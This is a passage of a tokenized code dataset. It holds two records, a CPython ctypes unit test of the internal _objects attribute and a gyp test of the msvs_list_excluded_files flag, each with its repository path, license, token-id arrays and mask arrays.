32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1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
Big-B702/python-for-android
python3-alpha/python3-src/Lib/ctypes/test/test_internals.py
53
2626
# This tests the internal _objects attribute import unittest from ctypes import * from sys import getrefcount as grc # XXX This test must be reviewed for correctness!!! """ ctypes' types are container types. They have an internal memory block, which only consists of some bytes, but it has to keep references to other objects as well. This is not really needed for trivial C types like int or char, but it is important for aggregate types like strings or pointers in particular. What about pointers? """ class ObjectsTestCase(unittest.TestCase): def assertSame(self, a, b): self.assertEqual(id(a), id(b)) def test_ints(self): i = 42000123 refcnt = grc(i) ci = c_int(i) self.assertEqual(refcnt, grc(i)) self.assertEqual(ci._objects, None) def test_c_char_p(self): s = b"Hello, World" refcnt = grc(s) cs = c_char_p(s) self.assertEqual(refcnt + 1, grc(s)) self.assertSame(cs._objects, s) def test_simple_struct(self): class X(Structure): _fields_ = [("a", c_int), ("b", c_int)] a = 421234 b = 421235 x = X() self.assertEqual(x._objects, None) x.a = a x.b = b self.assertEqual(x._objects, None) def test_embedded_structs(self): class X(Structure): _fields_ = [("a", c_int), ("b", c_int)] class Y(Structure): _fields_ = [("x", X), ("y", X)] y = Y() self.assertEqual(y._objects, None) x1, x2 = X(), X() y.x, y.y = x1, x2 self.assertEqual(y._objects, {"0": {}, "1": {}}) x1.a, x2.b = 42, 93 self.assertEqual(y._objects, {"0": {}, "1": {}}) def test_xxx(self): class X(Structure): _fields_ = [("a", c_char_p), ("b", c_char_p)] class Y(Structure): _fields_ = [("x", X), ("y", X)] s1 = b"Hello, World" s2 = b"Hallo, Welt" x = X() x.a = s1 x.b = s2 self.assertEqual(x._objects, {"0": s1, "1": s2}) y = Y() y.x = x self.assertEqual(y._objects, {"0": {"0": s1, "1": s2}}) ## x = y.x ## del y ## print x._b_base_._objects def test_ptr_struct(self): class X(Structure): _fields_ = [("data", POINTER(c_int))] A = c_int*4 a = A(11, 22, 33, 44) self.assertEqual(a._objects, None) x = X() x.data = a ##XXX print x._objects ##XXX print x.data[0] ##XXX print x.data._objects if __name__ == '__main__': unittest.main()
apache-2.0
[ 3, 961, 2295, 314, 5007, 485, 1462, 2225, 199, 646, 2882, 199, 504, 5577, 492, 627, 199, 504, 984, 492, 664, 16497, 465, 486, 1195, 199, 199, 3, 5787, 961, 511, 1471, 506, 11248, 379, 367, 29102, 21512, 199, 199, 624, 199, 9798, 7, 2943, 787, 3970, 2943, 14, 199, 199, 1918, 89, 1172, 376, 5007, 4402, 1853, 12, 1314, 1454, 18581, 402, 2005, 2783, 12, 199, 7911, 652, 965, 370, 4215, 6941, 370, 1163, 2251, 465, 5521, 14, 961, 365, 440, 199, 29428, 4346, 367, 28586, 445, 2943, 2839, 1109, 503, 1495, 12, 1325, 652, 365, 11012, 199, 509, 9531, 2943, 2839, 3326, 503, 21116, 315, 6770, 14, 199, 199, 21015, 3595, 21116, 31, 199, 199, 624, 199, 199, 533, 26794, 1746, 8, 2796, 14, 1746, 304, 272, 347, 702, 8479, 8, 277, 12, 282, 12, 330, 304, 267, 291, 14, 629, 8, 344, 8, 65, 395, 1305, 8, 66, 430, 339, 347, 511, 63, 13141, 8, 277, 304, 267, 284, 275, 841, 1840, 29555, 267, 2984, 6507, 275, 486, 1195, 8, 73, 9, 267, 16279, 275, 286, 63, 442, 8, 73, 9, 267, 291, 14, 629, 8, 1121, 6507, 12, 486, 1195, 8, 73, 430, 267, 291, 14, 629, 8, 559, 423, 1462, 12, 488, 9, 339, 347, 511, 63, 67, 63, 1560, 63, 80, 8, 277, 304, 267, 308, 275, 330, 2, 6257, 12, 13064, 2, 267, 2984, 6507, 275, 486, 1195, 8, 83, 9, 267, 7117, 275, 286, 63, 1560, 63, 80, 8, 83, 9, 267, 291, 14, 629, 8, 1121, 6507, 435, 413, 12, 486, 1195, 8, 83, 430, 267, 291, 14, 479, 8479, 8, 1259, 423, 1462, 12, 308, 9, 339, 347, 511, 63, 4129, 63, 1820, 8, 277, 304, 267, 1021, 1323, 8, 10766, 304, 288, 485, 955, 63, 275, 10003, 65, 401, 286, 63, 442, 395, 1689, 66, 401, 286, 63, 442, 1874, 398, 282, 275, 5685, 4321, 267, 330, 275, 5685, 713, 1276, 267, 671, 275, 1323, 342, 267, 291, 14, 629, 8, 88, 423, 1462, 12, 488, 9, 267, 671, 14, 65, 275, 282, 267, 671, 14, 66, 275, 330, 267, 291, 14, 629, 8, 88, 423, 1462, 12, 488, 9, 339, 347, 511, 63, 18757, 63, 23253, 8, 277, 304, 267, 1021, 1323, 8, 10766, 304, 288, 485, 955, 63, 275, 10003, 65, 401, 286, 63, 442, 395, 1689, 66, 401, 286, 63, 442, 1874, 398, 1021, 1488, 8, 10766, 304, 288, 485, 955, 63, 275, 10003, 88, 401, 1323, 395, 1689, 89, 401, 1323, 1874, 398, 612, 275, 1488, 342, 267, 291, 14, 629, 8, 89, 423, 1462, 12, 488, 9, 398, 671, 17, 12, 671, 18, 275, 1323, 1062, 1323, 342, 267, 612, 14, 88, 12, 612, 14, 89, 275, 671, 17, 12, 671, 18, 267, 291, 14, 629, 8, 89, 423, 1462, 12, 2420, 16, 582, 5479, 298, 17, 582, 1052, 1552, 267, 671, 17, 14, 65, 12, 671, 18, 14, 66, 275, 5685, 12, 18969, 267, 291, 14, 629, 8, 89, 423, 1462, 12, 2420, 16, 582, 5479, 298, 17, 582, 1052, 1552, 339, 347, 511, 63, 10013, 8, 277, 304, 267, 1021, 1323, 8, 10766, 304, 288, 485, 955, 63, 275, 10003, 65, 401, 286, 63, 1560, 63, 80, 395, 1689, 66, 401, 286, 63, 1560, 63, 80, 1874, 398, 1021, 1488, 8, 10766, 304, 288, 485, 955, 63, 275, 10003, 88, 401, 1323, 395, 1689, 89, 401, 1323, 1874, 398, 308, 17, 275, 330, 2, 6257, 12, 13064, 2, 267, 308, 18, 275, 330, 2, 40, 279, 320, 12, 644, 15330, 2, 398, 671, 275, 1323, 342, 267, 671, 14, 65, 275, 308, 17, 267, 671, 14, 66, 275, 308, 18, 267, 291, 14, 629, 8, 88, 423, 1462, 12, 2420, 16, 582, 308, 17, 12, 298, 17, 582, 308, 18, 1552, 398, 612, 275, 1488, 342, 267, 612, 14, 88, 275, 671, 267, 291, 14, 629, 8, 89, 423, 1462, 12, 2420, 16, 582, 2420, 16, 582, 308, 17, 12, 298, 17, 582, 308, 18, 19575, 199, 309, 263, 671, 275, 612, 14, 88, 199, 309, 263, 2150, 612, 199, 309, 263, 870, 671, 423, 66, 63, 1095, 63, 423, 1462, 339, 347, 511, 63, 4695, 63, 1820, 8, 277, 304, 267, 1021, 1323, 8, 10766, 304, 288, 485, 955, 63, 275, 10003, 576, 401, 6569, 8, 67, 63, 442, 10524, 398, 437, 275, 286, 63, 442, 10, 20, 267, 282, 275, 437, 8, 845, 12, 6928, 12, 9404, 12, 10868, 9, 267, 291, 14, 629, 8, 65, 423, 1462, 12, 488, 9, 398, 671, 275, 1323, 342, 267, 671, 14, 576, 275, 282, 199, 309, 13933, 263, 870, 671, 423, 1462, 199, 309, 13933, 263, 870, 671, 14, 576, 59, 16, 61, 199, 309, 13933, 263, 870, 671, 14, 576, 423, 1462, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2882, 14, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 961, 2295, 314, 5007, 485, 1462, 2225, 199, 646, 2882, 199, 504, 5577, 492, 627, 199, 504, 984, 492, 664, 16497, 465, 486, 1195, 199, 199, 3, 5787, 961, 511, 1471, 506, 11248, 379, 367, 29102, 21512, 199, 199, 624, 199, 9798, 7, 2943, 787, 3970, 2943, 14, 199, 199, 1918, 89, 1172, 376, 5007, 4402, 1853, 12, 1314, 1454, 18581, 402, 2005, 2783, 12, 199, 7911, 652, 965, 370, 4215, 6941, 370, 1163, 2251, 465, 5521, 14, 961, 365, 440, 199, 29428, 4346, 367, 28586, 445, 2943, 2839, 1109, 503, 1495, 12, 1325, 652, 365, 11012, 199, 509, 9531, 2943, 2839, 3326, 503, 21116, 315, 6770, 14, 199, 199, 21015, 3595, 21116, 31, 199, 199, 624, 199, 199, 533, 26794, 1746, 8, 2796, 14, 1746, 304, 272, 347, 702, 8479, 8, 277, 12, 282, 12, 330, 304, 267, 291, 14, 629, 8, 344, 8, 65, 395, 1305, 8, 66, 430, 339, 347, 511, 63, 13141, 8, 277, 304, 267, 284, 275, 841, 1840, 29555, 267, 2984, 6507, 275, 486, 1195, 8, 73, 9, 267, 16279, 275, 286, 63, 442, 8, 73, 9, 267, 291, 14, 629, 8, 1121, 6507, 12, 486, 1195, 8, 73, 430, 267, 291, 14, 629, 8, 559, 423, 1462, 12, 488, 9, 339, 347, 511, 63, 67, 63, 1560, 63, 80, 8, 277, 304, 267, 308, 275, 330, 2, 6257, 12, 13064, 2, 267, 2984, 6507, 275, 486, 1195, 8, 83, 9, 267, 7117, 275, 286, 63, 1560, 63, 80, 8, 83, 9, 267, 291, 14, 629, 8, 1121, 6507, 435, 413, 12, 486, 1195, 8, 83, 430, 267, 291, 14, 479, 8479, 8, 1259, 423, 1462, 12, 308, 9, 339, 347, 511, 63, 4129, 63, 1820, 8, 277, 304, 267, 1021, 1323, 8, 10766, 304, 288, 485, 955, 63, 275, 10003, 65, 401, 286, 63, 442, 395, 1689, 66, 401, 286, 63, 442, 1874, 398, 282, 275, 5685, 4321, 267, 330, 275, 5685, 713, 1276, 267, 671, 275, 1323, 342, 267, 291, 14, 629, 8, 88, 423, 1462, 12, 488, 9, 267, 671, 14, 65, 275, 282, 267, 671, 14, 66, 275, 330, 267, 291, 14, 629, 8, 88, 423, 1462, 12, 488, 9, 339, 347, 511, 63, 18757, 63, 23253, 8, 277, 304, 267, 1021, 1323, 8, 10766, 304, 288, 485, 955, 63, 275, 10003, 65, 401, 286, 63, 442, 395, 1689, 66, 401, 286, 63, 442, 1874, 398, 1021, 1488, 8, 10766, 304, 288, 485, 955, 63, 275, 10003, 88, 401, 1323, 395, 1689, 89, 401, 1323, 1874, 398, 612, 275, 1488, 342, 267, 291, 14, 629, 8, 89, 423, 1462, 12, 488, 9, 398, 671, 17, 12, 671, 18, 275, 1323, 1062, 1323, 342, 267, 612, 14, 88, 12, 612, 14, 89, 275, 671, 17, 12, 671, 18, 267, 291, 14, 629, 8, 89, 423, 1462, 12, 2420, 16, 582, 5479, 298, 17, 582, 1052, 1552, 267, 671, 17, 14, 65, 12, 671, 18, 14, 66, 275, 5685, 12, 18969, 267, 291, 14, 629, 8, 89, 423, 1462, 12, 2420, 16, 582, 5479, 298, 17, 582, 1052, 1552, 339, 347, 511, 63, 10013, 8, 277, 304, 267, 1021, 1323, 8, 10766, 304, 288, 485, 955, 63, 275, 10003, 65, 401, 286, 63, 1560, 63, 80, 395, 1689, 66, 401, 286, 63, 1560, 63, 80, 1874, 398, 1021, 1488, 8, 10766, 304, 288, 485, 955, 63, 275, 10003, 88, 401, 1323, 395, 1689, 89, 401, 1323, 1874, 398, 308, 17, 275, 330, 2, 6257, 12, 13064, 2, 267, 308, 18, 275, 330, 2, 40, 279, 320, 12, 644, 15330, 2, 398, 671, 275, 1323, 342, 267, 671, 14, 65, 275, 308, 17, 267, 671, 14, 66, 275, 308, 18, 267, 291, 14, 629, 8, 88, 423, 1462, 12, 2420, 16, 582, 308, 17, 12, 298, 17, 582, 308, 18, 1552, 398, 612, 275, 1488, 342, 267, 612, 14, 88, 275, 671, 267, 291, 14, 629, 8, 89, 423, 1462, 12, 2420, 16, 582, 2420, 16, 582, 308, 17, 12, 298, 17, 582, 308, 18, 19575, 199, 309, 263, 671, 275, 612, 14, 88, 199, 309, 263, 2150, 612, 199, 309, 263, 870, 671, 423, 66, 63, 1095, 63, 423, 1462, 339, 347, 511, 63, 4695, 63, 1820, 8, 277, 304, 267, 1021, 1323, 8, 10766, 304, 288, 485, 955, 63, 275, 10003, 576, 401, 6569, 8, 67, 63, 442, 10524, 398, 437, 275, 286, 63, 442, 10, 20, 267, 282, 275, 437, 8, 845, 12, 6928, 12, 9404, 12, 10868, 9, 267, 291, 14, 629, 8, 65, 423, 1462, 12, 488, 9, 398, 671, 275, 1323, 342, 267, 671, 14, 576, 275, 282, 199, 309, 13933, 263, 870, 671, 423, 1462, 199, 309, 13933, 263, 870, 671, 14, 576, 59, 16, 61, 199, 309, 13933, 263, 870, 671, 14, 576, 423, 1462, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2882, 14, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
elkingtonmcb/rethinkdb
external/v8_3.30.33.16/build/gyp/test/msvs/list_excluded/gyptest-all.py
347
1292
#!/usr/bin/env python # Copyright (c) 2012 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """ Verifies that msvs_list_excluded_files=0 doesn't list files that would normally be in _excluded_files, and that if that flag is not set, then they are still listed. """ import os import TestGyp test = TestGyp.TestGyp(formats=['msvs'], workdir='workarea_all') # with the flag set to 0 try: os.environ['GYP_GENERATOR_FLAGS'] = 'msvs_list_excluded_files=0' test.run_gyp('hello_exclude.gyp') finally: del os.environ['GYP_GENERATOR_FLAGS'] if test.uses_msbuild: test.must_not_contain('hello.vcxproj', 'hello_mac') else: test.must_not_contain('hello.vcproj', 'hello_mac') # with the flag not set test.run_gyp('hello_exclude.gyp') if test.uses_msbuild: test.must_contain('hello.vcxproj', 'hello_mac') else: test.must_contain('hello.vcproj', 'hello_mac') # with the flag explicitly set to 1 try: os.environ['GYP_GENERATOR_FLAGS'] = 'msvs_list_excluded_files=1' test.run_gyp('hello_exclude.gyp') finally: del os.environ['GYP_GENERATOR_FLAGS'] if test.uses_msbuild: test.must_contain('hello.vcxproj', 'hello_mac') else: test.must_contain('hello.vcproj', 'hello_mac') test.pass_test()
agpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 1898, 334, 67, 9, 6029, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 199, 21168, 626, 13795, 63, 513, 63, 12144, 63, 1725, 29, 16, 3181, 1133, 769, 1584, 626, 3955, 199, 4791, 1183, 506, 315, 485, 12144, 63, 1725, 12, 436, 626, 340, 626, 3305, 365, 440, 663, 12, 2066, 2985, 199, 1530, 5139, 10532, 14, 199, 624, 199, 199, 646, 747, 199, 646, 25688, 199, 199, 396, 275, 25688, 14, 774, 13899, 8, 6321, 2968, 8338, 995, 1736, 694, 534, 800, 6789, 63, 452, 358, 421, 199, 3, 543, 314, 3305, 663, 370, 378, 199, 893, 26, 523, 747, 14, 2314, 459, 14884, 63, 12795, 6467, 63, 4831, 418, 275, 283, 8338, 63, 513, 63, 12144, 63, 1725, 29, 16, 7, 523, 511, 14, 1065, 63, 6179, 360, 5006, 63, 5473, 14, 6179, 358, 199, 15172, 26, 523, 2150, 747, 14, 2314, 459, 14884, 63, 12795, 6467, 63, 4831, 418, 199, 692, 511, 14, 5589, 63, 14087, 26, 523, 511, 14, 7790, 63, 1397, 63, 7747, 360, 5006, 14, 6737, 88, 5468, 297, 283, 5006, 63, 3088, 358, 199, 2836, 26, 523, 511, 14, 7790, 63, 1397, 63, 7747, 360, 5006, 14, 6737, 5468, 297, 283, 5006, 63, 3088, 358, 421, 199, 3, 543, 314, 3305, 440, 663, 199, 396, 14, 1065, 63, 6179, 360, 5006, 63, 5473, 14, 6179, 358, 199, 692, 511, 14, 5589, 63, 14087, 26, 523, 511, 14, 7790, 63, 7747, 360, 5006, 14, 6737, 88, 5468, 297, 283, 5006, 63, 3088, 358, 199, 2836, 26, 523, 511, 14, 7790, 63, 7747, 360, 5006, 14, 6737, 5468, 297, 283, 5006, 63, 3088, 358, 421, 199, 3, 543, 314, 3305, 7662, 663, 370, 413, 199, 893, 26, 523, 747, 14, 2314, 459, 14884, 63, 12795, 6467, 63, 4831, 418, 275, 283, 8338, 63, 513, 63, 12144, 63, 1725, 29, 17, 7, 523, 511, 14, 1065, 63, 6179, 360, 5006, 63, 5473, 14, 6179, 358, 199, 15172, 26, 523, 2150, 747, 14, 2314, 459, 14884, 63, 12795, 6467, 63, 4831, 418, 199, 692, 511, 14, 5589, 63, 14087, 26, 523, 511, 14, 7790, 63, 7747, 360, 5006, 14, 6737, 88, 5468, 297, 283, 5006, 63, 3088, 358, 199, 2836, 26, 523, 511, 14, 7790, 63, 7747, 360, 5006, 14, 6737, 5468, 297, 283, 5006, 63, 3088, 358, 421, 199, 396, 14, 1529, 63, 396, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 1898, 334, 67, 9, 6029, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 199, 21168, 626, 13795, 63, 513, 63, 12144, 63, 1725, 29, 16, 3181, 1133, 769, 1584, 626, 3955, 199, 4791, 1183, 506, 315, 485, 12144, 63, 1725, 12, 436, 626, 340, 626, 3305, 365, 440, 663, 12, 2066, 2985, 199, 1530, 5139, 10532, 14, 199, 624, 199, 199, 646, 747, 199, 646, 25688, 199, 199, 396, 275, 25688, 14, 774, 13899, 8, 6321, 2968, 8338, 995, 1736, 694, 534, 800, 6789, 63, 452, 358, 421, 199, 3, 543, 314, 3305, 663, 370, 378, 199, 893, 26, 523, 747, 14, 2314, 459, 14884, 63, 12795, 6467, 63, 4831, 418, 275, 283, 8338, 63, 513, 63, 12144, 63, 1725, 29, 16, 7, 523, 511, 14, 1065, 63, 6179, 360, 5006, 63, 5473, 14, 6179, 358, 199, 15172, 26, 523, 2150, 747, 14, 2314, 459, 14884, 63, 12795, 6467, 63, 4831, 418, 199, 692, 511, 14, 5589, 63, 14087, 26, 523, 511, 14, 7790, 63, 1397, 63, 7747, 360, 5006, 14, 6737, 88, 5468, 297, 283, 5006, 63, 3088, 358, 199, 2836, 26, 523, 511, 14, 7790, 63, 1397, 63, 7747, 360, 5006, 14, 6737, 5468, 297, 283, 5006, 63, 3088, 358, 421, 199, 3, 543, 314, 3305, 440, 663, 199, 396, 14, 1065, 63, 6179, 360, 5006, 63, 5473, 14, 6179, 358, 199, 692, 511, 14, 5589, 63, 14087, 26, 523, 511, 14, 7790, 63, 7747, 360, 5006, 14, 6737, 88, 5468, 297, 283, 5006, 63, 3088, 358, 199, 2836, 26, 523, 511, 14, 7790, 63, 7747, 360, 5006, 14, 6737, 5468, 297, 283, 5006, 63, 3088, 358, 421, 199, 3, 543, 314, 3305, 7662, 663, 370, 413, 199, 893, 26, 523, 747, 14, 2314, 459, 14884, 63, 12795, 6467, 63, 4831, 418, 275, 283, 8338, 63, 513, 63, 12144, 63, 1725, 29, 17, 7, 523, 511, 14, 1065, 63, 6179, 360, 5006, 63, 5473, 14, 6179, 358, 199, 15172, 26, 523, 2150, 747, 14, 2314, 459, 14884, 63, 12795, 6467, 63, 4831, 418, 199, 692, 511, 14, 5589, 63, 14087, 26, 523, 511, 14, 7790, 63, 7747, 360, 5006, 14, 6737, 88, 5468, 297, 283, 5006, 63, 3088, 358, 199, 2836, 26, 523, 511, 14, 7790, 63, 7747, 360, 5006, 14, 6737, 5468, 297, 283, 5006, 63, 3088, 358, 421, 199, 396, 14, 1529, 63, 396, 342, 199, 32768, 32768, 